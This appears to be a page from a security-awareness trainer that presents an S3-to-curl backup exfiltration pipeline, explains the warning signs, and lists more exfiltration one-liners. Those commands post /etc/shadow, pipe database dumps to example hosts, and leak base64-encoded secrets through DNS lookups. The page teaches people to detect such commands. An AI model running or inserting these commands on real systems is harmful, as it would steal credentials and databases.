Dangerous
aws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropcross-platform · bash · Nightmare
Streams a database backup out of object storage, compresses it in flight, and uploads it elsewhere without ever writing to disk. Each stage is a legitimate tool; it is the composition, and the dash meaning standard output, that makes it exfiltration.
Signals to notice
- Backup routed to an external destination
- Nothing written to disk to detect
- Compression reduces the transfer signature
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedmysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpertfind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarefor f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmarepg_dump -h db.example.internal appdb | ssh deploy@bastion.example.com 'cat > /srv/appdb.sql'Advanced